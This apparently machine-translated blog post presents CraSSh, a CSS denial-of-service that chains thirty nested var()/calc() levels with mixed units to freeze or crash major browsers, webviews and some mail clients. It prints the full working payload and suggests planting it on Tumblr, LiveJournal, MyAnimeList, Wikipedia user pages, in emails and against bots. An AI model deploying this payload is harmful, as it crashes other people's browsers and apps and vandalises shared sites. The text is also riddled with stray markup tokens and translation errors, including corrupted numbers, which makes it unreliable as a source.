CraSSh: breaking all modern browsers with CSS calculations

3r3196. I do not want to read this technical chatter. Just poured my browser already. 3r33595. 3r3197. 3r33582.  
3r33582.  
3r366. What is CraSSh
3r33582.  
CraSSh is a cross-browser, purely declarative DoS attack based on poor processing of nested CSS functions 3r33213. var () and calc () in modern browsers. 3r33582.  
3r33582.  
CraSSh is valid in all major browsers on desktops and mobile devices: 3r-3582.  
3r33582.  
3r33584.  
3r3-3593. On the WebKit /Blink engine - Chrome, Opera, Safari, even Samsung Internet on smart TVs and refrigerators. 3r33582.  
3r33584.  
3r3-3593. Android WebView, iOS UIWebView are also affected, that is, you can crash any application with a built-in browser. 3r3-3596.  
3r3-3598. 3r3-3596.  
3r3-3593. On the engine Gecko - Firefox and its fork, such as Tor Browser. 3r33582.  
3r33584.  
3r3-3593. Servo did not start on any of my machines, so I did not test it. 3r3-3596.  
3r3-3598. 3r3-3596.  
3r3-3593. On the EdgeHTML engine - Edge on Windows, WebView in UWP applications (does anyone use them at all?) 3r33596.  
3r3-3598. 3r33582.  
IE browser is not affected, because it does not support the functions on which the attack is based, but its users have a lot of problems 3r-358. (Probably, this browser can be torn down in other ways - note. Lane.) 3r-359. . 3r33582.  
3r362. 3r33595. 3r33582.  
3r366. How it works 3r3677. 3r33582.  
CraSSh's idea is to force the browser to compute a CSS property with nested variable calls for exponential time and with huge memory usage. 3r33582.  
3r33582.  
The attack relies on three CSS functions: 3r33582.  
3r33582.  
3r3196. CSS variables (
Custom properties 3r33595. And Var () ) [/b] 3r33582.  
3r33582.  
They allow you to declare: assign and read variables: 3r38282.  
3r33582.  
    .variables
{
--variable: 1px;
/* declare some variable * /
height: var (- variable);
/* read the previously declared variable * /
3r3013. 3r33582.  
3r33582.  
Variables do not allow recursion (although it was 3–3–3107. A bug in WebKit 3–3–3595. That caused infinite recursion) or loops, but they can be defined as 3–3–?582.  
3r33582.  
3r3196.
expressions. calc () 3r3197. 3r33582.  
3r33582.  
Calc () expressions allow you to perform some basic arithmetic operations when describing rules, for example, 3r-3213. 'width: calc (50% - 10px)' . 3r33582.  
3r33582.  
calc () allows you to refer to variables and use multiple values ​​in one expression: 3r33582.  
3r33582.  
    .calc
{
--variable: 1px;
/* declare a constant * /
height: calc (var (- variable) + var (- variable));
/* access --variable twice * /
3r3013. 3r33582.  
3r33582.  
This gives the opportunity:
 
3r33582.  
3r33584.  
3r3-3593. linearly increase the calculation in each expression calc () by adding references to previous variables; 3r3-3596.  
3r3-3593. increase exponentially with each variable declaration with the expression calc () referring to other calculated variables: 3r3353596.  
3r3-3598. 3r33582.  
    .calc_multiple
{
--variable-level-0: 1px;
/* constant * /
--variable-level-1: calc (var (- variable-level-0) + var (- variable-level-0));
/* 2 calculation of the constant * /
--variable-level-2: calc (var (- variable-level-1) + var (- variable-level-1));
/* 2 calls of the previous variable, 4 calculations of the constant * /
/* 3r3605. more similar ads
* /
--variable-level-n: calc (var (- variable-level-n-1) + var (- variable-level-n-1));
/* 2 calls of the previous variable, 2 ^ n calculations of the constant * /
3r3013. 3r33582.  
3r33582.  
It’s as if it should be calculated in exponential time, but modern browsers are a bit smarter, so they usually calculate the values ​​of variables once, reducing complexity to linear. The trick is that the caching of variable values ​​does not occur if it has 3r-3582.  
3r33582.  
3r3196. dissimilar value [/b] 3r33582.  
3r33582.  
Technically, this is part calc () but it deserves special mention. A heterogeneous variable contains both absolute and relative units. It can not be:
 
3r33582.  
3r33584.  
3r3-3593. calculated as an absolute value and shared by different applications for different elements, since it depends on the properties of the target element (units 3r31313. '%' / 'em' ); 3r3-3596.  
3r3-3593. calculated as an absolute value in a single application, because in some cases it will lead to the accumulation of rounding errors causing strange sub-pixel offsets that break complex layouts (do you have 12 columns, each 1/12 of the screen width? No luck, buddy, they will gather in a new row or leave a clumsy gap at the end). 3r3-3596.  
3r3-3598. 3r33582.  
Thus, this value is recalculated each time: 3r38282.  
3r33582.  
    .non_cached {
--const: calc (50% + 10px);
/* remains (50% + 10px) * /
--variable: calc (var (- const) + var (- const));
/* still does not calculate the current value * /
width: var (- variable);
/* everything is calculated here * /
3r3013. 3r33582.  
As for the second point, most browsers simply embed nested variables with a heterogeneous value in one expression to avoid rounding errors: 3r38282.  
3r33582.  
    .mixed {3r3605. --mixed: calc (1% + 1px);
/* heterogeneous constant * /
--mixed-reference: calc (var (- mixed) + var (- mixed));
/* variable with constant reference * /
--mixed-reference-evaluates-to: calc (1% + 1px + 1% + 1px);
/* previous variable after embedding * /
--mixed-reference-computes-as: calc (2% + 2px);
/* abbreviated representation, which will later be computed as an absolute value * /
3r3013. 3r33582.  
Imagine that there are millions (or billions) of elements in the expression The CSS engine is trying to allocate several gigabytes of RAM, shorten the expression, add event handlers so that the properties can be recalculated when something changes. In the end, it happens at a certain stage. 3r33582.  
3r33582.  
So, looked like the original CraSSh:
 
3r33582.  
    .crassh {
--initial-level-0: calc (1vh + 1% + 1px + 1em + 1vw + 1cm);
/* heterogeneous constant * /
--level-1: calc (var (- initial-level-0) + var (- initial-level-0));
/* 2 calculations * /
--level-2: calc (var (- level-1) + var (- level-1));
/* 4 calculations * /
--level-3: calc (var (- level-2) + var (- level-2));
/* 8 calculations * /
--level-4: calc (var (- level-3) + var (- level-3));
/* 16 calculations * /
--level-5: calc (var (- level-4) + var (- level-4));
/* 32 calculations * /
--level-6: calc (var (- level-5) + var (- level-5));
/* 64 calculations * /
--level-7: calc (var (- level-6) + var (- level-6));
/* 128 calculations * /3r3605.
--level-8: calc (var (- level-7) + var (- level-7));
/* 256 calculations * /3r3605.
--level-9: calc (var (- level-8) + var (- level-8));
/* 512 calculations * /3r3605.
--level-10: calc (var (- level-9) + var (- level-9));
/* 1024 calculations * /
--level-11: calc (var (- level-10) + var (- level-10));
/* 2048 calculations * /
--level-12: calc (var (- level-11) + var (- level-11));
/* 4096 calculations * /3r3605.
--level-13: calc (var (- level-12) + var (- level-12));
/* 8192 calculations * /
--level-14: calc (var (- level-13) + var (- level-13));
/* 16384 calculations * /
--level-15: calc (var (- level-14) + var (- level-14));
/* 32768 calculations * /3r3605.
--level-16: calc (var (- level-15) + var (- level-15));
/* 65536 calculations * /3r3605.
--level-17: calc (var (- level-16) + var (- level-16));
/* 131072 calculation * /
--level-18: calc (var (- level-17) + var (- level-17));
/* 26?144 calculations * /3r3605.
--level-19: calc (var (- level-18) + var (- level-18));
/* 524288 calculations * /3r3605.
--level-20: calc (var (- level-19) + var (- level-19));
/* ?04?576 calculations * /
--level-21: calc (var (- level-20) + var (- level-20));
/* 2097152 calculations * /3r3605.
--level-22: calc (var (- level-21) + var (- level-21));
/* 4194304 calculations * /3r3605.
--level-23: calc (var (- level-22) + var (- level-22));
/* 8388608 calculations * /3r3605.
--level-24: calc (var (- level-23) + var (- level-23));
/* 16777216 calculation * /
--level-25: calc (var (- level-24) + var (- level-24));
/* 33554432 calculations * /3r3605.
--level-26: calc (var (- level-25) + var (- level-25));
/* 67108864 calculations * /3r3605.
--level-27: calc (var (- level-26) + var (- level-26));
/* 134217728 calculation * /
--level-28: calc (var (- level-27) + var (- level-27));
/* 268435456 calculations * /3r3605.
--level-29: calc (var (- level-28) + var (- level-28));
/* 536870912 calculation * /
--level-30: calc (var (- level-29) + var (- level-29));
/* 1073741824 calculation * /
--level-final: calc (var (- level-30) + 1px);
/* 1073741824 calculation * /
/* ^ on some engines this is not calculated automatically -> you need to use them somewhere * /
border-width: var (- level-final); /* <- применяем рассчитанное значение
*/
/* some engines may skip border-width if there is no style (= missing) * /
border-style: solid;
3r3013. 3r33582.  

If you see this, your browser does not support modern CSS, or the developers have fixed the CraSSh
error.
3r33400. 3r3013. 3r33582.  
But the built-in version is less than 1000 characters (MediaWiki for the demonstration). 3r33582.  
3r33582.  

CraSSh
3r33400. 3r3013. 3r33582.  
3r38080. How to use it
3r33582.  
In addition to driving users away from their own website or blog on a platform that gives full access to HTML, like Tumblr (3r3408. Example with browser crash 3r33595.) Or LiveJournal (
Example with browser crash 3r39595.), CraSSh allows:
 
3r33582.  
3r33584.  
3r3-3593. Break the UI on those pages of the site that you control and allow you to define arbitrary CSS, even without providing HTML templates. I managed to break MyAnimeList (
Example with browser crash 3r33595.). Reddit is not susceptible to this attack, because their parser does not support variablesCSS. 3r3-3596.  
3r3-3593. Break UI on public write access pages that allow you to embed some HTML tags with inline styles. On Wikipedia, my account was banned for vandalism, although I posted an example with a browser crash on a personal page. The attack affects most MediaWiki-based projects. In principle, a broken page can no longer be restored via UI. 3r3-3596.  
3r3-3593. Cause email clients that support HTML
 
3r33582.  
3r33584.  
3r3-3593. This is quite difficult, since email clients remove /reduce HTML and usually
do not support modern CSS
features. that CraSSh uses
 
3r3-3593. CraSSh works in r3r3582.  
3r33582.  
3r33584.  
3r3-3593. Samsung Mail for Android
 
3r3-3598. 3r3-3596.  
3r3-3593. CraSSh does not work at
 
3r33582.  
3r33584.  
3r3-3593. Outlook (web) 3r39696.  
3r3-3593. Gmail (web) 3-393596.  
3r3-3593. Gmail (Android)
 
3r3-3593. Yahoo (web) 3r39696.  
3r3-3593. Yandex (web)
 
3r3-3593. Protonmail (web) 3r39696.  
3r3-3593. Zimbra (web, standalone installation) 3r3-3596.  
3r3-3593. Windows Mail (Windows, obviously)
 
3r3-3598. 3r3-3596.  
3r3-3593. Should work in 3r38282.  
3r33582.  
3r33584.  
3r3-3593. Outlook for Mac (internally uses Webkit) 3r39696.  
3r3-3598. 3r3-3596.  
3r3-3593. Others have not tested. 3r3-3596.  
3r3-3598. 3r3-3596.  
3r3-3593. I just had a sick idea that CraSSh can be used against CEF /PhantomJS based bots. The attacked website can implement the CraSSh code with headers (3r3505. As here 3r359595.), And not show the usual error 403. IIRC, errors are treated differently in embedded engines, therefore 3r3582.  
3r33582.  
3r33584.  
3r3-3593. this is likely to cause the bot to crash (no one expects the stack to overflow or something in the headless browser)
 
3r3-3593. it is very difficult to debug, since it is not even displayed in the body of the response, which most likely falls into the logs
 
3r3-3598. 3r3-3596.  
3r3-3598. 3r33582.  
3r33582.  
3r38080. Why is this done
3r33582.  
3r33584.  
3r3-3593. Remember that post 3r33595. Linus? 3r33582.  
3r33582.  
3r33540. It seems that the IT security world has reached a new bottom. 3r33582.  
3r33582.  
If you work in safety and think that you have a conscience, then it seems to me, you can write:
 
3r33582.  
“No, really, I'm not a whore. Honestly honest ”
 
3r33582.  
on his business card. I used to think that the whole industry was rotten, but this is getting ridiculous. 3r33582.  
3r33582.  
At what point do security people admit that they like to attract attention? 3r33557. 3r33582.  
I went even further, and did as much as 3r-3560. whole site 3r39595. dedicated to a simple bug, because the pleasure of working until 4 am and the attention to the results achieved are those few things that keep me from depression and diving on this nice sidewalk in front of the office. 3r3-3596.  
3r3-3593. In addition, I hate the front-end, which is part of my job as a fullstack developer, and such things help to relax a bit. 3r3-3596.  
3r3-3598. 3r33582.  
3r38080. Similar things
3r33582.  
Now I am involved in an amazing project, which we will discuss later. Stay tuned for
twitter
. 3r33582.  
3r33582.  
3r38080. Special thanks to
3r33582.  
3r33584.  
3r3-3593. 3r33587. Konstantin Stepanov 3r39595. (
@Cberg 3r33595.). 3r3-3596.  
3r3-3593. 3r? 3594. EpicMorg 3r???. , which posted this project, although I give them a damn trouble. 3r3-3596.  
3r3-3598.
+ 0 -

Add comment